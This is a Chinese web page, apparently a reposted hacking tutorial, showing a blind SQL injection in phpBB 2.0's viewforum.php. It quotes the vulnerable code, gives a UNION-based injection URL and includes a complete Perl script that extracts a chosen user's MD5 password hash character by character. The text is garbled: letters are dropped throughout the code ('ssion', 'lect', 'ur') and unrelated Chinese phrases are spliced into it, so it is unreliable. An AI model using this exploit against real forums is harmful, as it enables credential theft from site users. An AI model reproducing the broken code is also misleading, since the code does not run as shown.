首页 > 作文

php注入实例

更新时间:2023-04-06 08:29:58 阅读: 评论:0

php注入实例 在网上很难看到一篇完整的关于php注入的文章和利用代码,于是我自已把mysql和php硬啃了几全国有多少大学个星期,下面说说我的休会吧,希望能抛砖引玉!

相信大家对asp的注入已经是十分熟悉了,而对php的注入比asp要困难,因为php的magic_gpc选项确实让人头疼,在注入中不要出现引号,而php大多和mysql结合,而mysql的功能上的缺点,从另外一人角度看确在一定程度上防止了sql njection的攻击,我在这里就举一个实例吧,我以phpbb2.0为例:

在viewforum.php中有一个变量没过滤:

if ( ist($http_get_vars<post_forum_url]) ││ ist($http_post_vars<post_forum_url]) )

{

$forum_id = ( ist($http_get_vars<post_forum_url]) ) ? intval($http_get_vars<post_forum_url]): intval

($http_post_vars<post_forum_url]);

}

el if ( ist($http_get_vars[‘forum’]))

{

$forum_id = $http_get_vars[‘forum’];

}

el

{

$forum_id = ”;

}

就是这个forum,而下面直接把它放进了查询中:

if ( !empty($forum_id) )

{

$sql = “lect *

from ” . forums_table . ”

where forum_id = $forum_id”;

if ( !($result = $db->sql_query($sql)) )

{

message_die(general_error, ‘could not obtain forums information’, 旅途愉快”, __line__, __file__, $sql);

}

}

el

{

message_die(general_message, ‘forum_not_exist’);

}

如果是asp的话,相信很多人都会注入了.如果这个forum_id指定的论坛不存在的话,就会使$result为空,于是返回could not obtain forums information的信息,于是下面的代码就不能执行下去了

//

// if the query doesn’t return any rows this isn’t a valid forum. inform

// the ur.

//

if ( !($forum_row = $db->sql_fetchrow($result)) )

{

message_die(general_message, ‘forum_not_exist’);

}

//

// start ssion management

//

$urdata = ssion_pagestart($ur_ip, $forum_id) /****************************************

关键就是打星号的那一行了,这里是一个函数ssion_pagestart($ur_ip, $thispage_id),这是在ssion.php中定义的一个函数,由于代码太

长,就不全贴出来了,有兴趣的可以自已看看,关键是这个函数还调用了ssion_begin(),函数调用如下ssion_begin($ur_id, $ur_ip,

$thispage_id, true)),同样是在这个文件中定义的,其中有如下代码

$sql = “update ” . ssions_table . ”

t ssion_ur_id = $ur_id, ssion_start = $current_time, ssion_time = $current_time, ssion_page =

$page_id, ssion_logged_in = $login

where ssion_id = ‘” . $ssion_id . “‘

and ssion_ip = ‘$ur_ip'”;

if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )

{

$ssion_id = md5(uniqid($ur_ip));

$sql = “inrt into ” . ssions_table . ”

(ssion_id, ssion_ur_id, ssion_start, ssion_time, ssion_ip, ssion_page,

ssion_logged_in)

values (‘$ssion_id’, $ur_id, $current_time, $current_time, ‘$ur_ip’, $page_id, $login)”;

if ( !($result = $db->sql_query($sql)) )

{

message_die(critical_error, ‘error creating new ssion : ssion_begin’, ”, __line__, __file__,

$sql);

}

在这里有个ssion_page在mysql中定义的是个整形数,他的値$page_id,也就是$forum_id,如果插入的不是整形就会报错了,就会出现error

creating new ssion : ssion_begin的提示,所以要指这$forum_id的值很重要,所以我把它指定为:-1%20union%20lect%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_urs%20where%20ur_高考几点考试时间表id=2%20and%20ord(substring(ur_password,1,1))=57,没有引号吧!虽然指定的是一个不存在的forum_id但他返回的查询结果可不一定高中怎么学习是为空,这个就是猜ur_id为2的用户的第一位密码的ascii码值是是否为57,如果是的话文章中第一段代码中的$result可不为空了,于是就执行了ession_pagestart这个有问题的函数,插入的不是整数当然就要出错了,于是就显示error creating new ssion : ssion_begin,就表明你猜对了第一位了,其它位类似.

如果没有这句出错信息的话我想即使注入成功也很难判断是否已经成功,看来出错信息也很有帮助啊.分析就到这里,下面附上一段测试代码,这段代码只要稍加修改就能适用于其它类似的猜md5密码的情况,这里我用的英文版的返回条件,中文和其它语言的只要改一下返回条件就行了.

u http::request::common;

u http::respon;

u lwp::uragent;

$ua = new lwp::uragent;

print ” ***********************n”;

print ” phpbb viewforum.php expn”;

print ” code by pinkeyesn”;

print ” www.icehack.comn”;

print ” ************************n”;

print “plea enter the weak file’s url:n”;

print “e.g. http://192.168.1.4/phpbb2/viewforum.phpn”;

$adr=<stdin>;

chomp($adr);

print “plea enter the ur_id that you want to crackn”;

$u=<stdin>;

chomp($u);

print “work starting,plea wait!n”;

@pink=(48..57);

@pink=(@pink,97..102);

for($j=1;$j<=32;$j++){

for ($i=0;$i<@pink;$i++){

$url=$adr.”?forum=-1%20union%20lect%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_urs%20where%

20ur_id=$u%20and%20ord(substring(ur_password,$j,1))=$pink[$i]”;

$request = http::request->new(‘get’, “$url”);

$respon = $ua->request($request);

if ($respon->is_success) {

if ($respon->content =~ /error crea每次都想呼喊你的名字 原唱ting new ssion/) {

$pwd.=chr($pink[$i]);

print “$pwdn”;

}

}

}

}

if ($pwd ne “”){

print “successfully,the password is $pwd,good luckn”;}

el{

print “bad luck,work failed!n”;}

至于最近的phpbb2.0.6的arch.php的问题利用程序只要将上面代码稍加修改就行了,如要错误请上www.icehack.com指正.

本文发布于:2023-04-06 08:29:41,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/zuowen/eab9d2963507fb7fe4f4a3c21e882bd8.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

本文word下载地址:php注入实例.doc

本文 PDF 下载地址:php注入实例.pdf

标签:代码   函数   为空   很难
相关文章
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图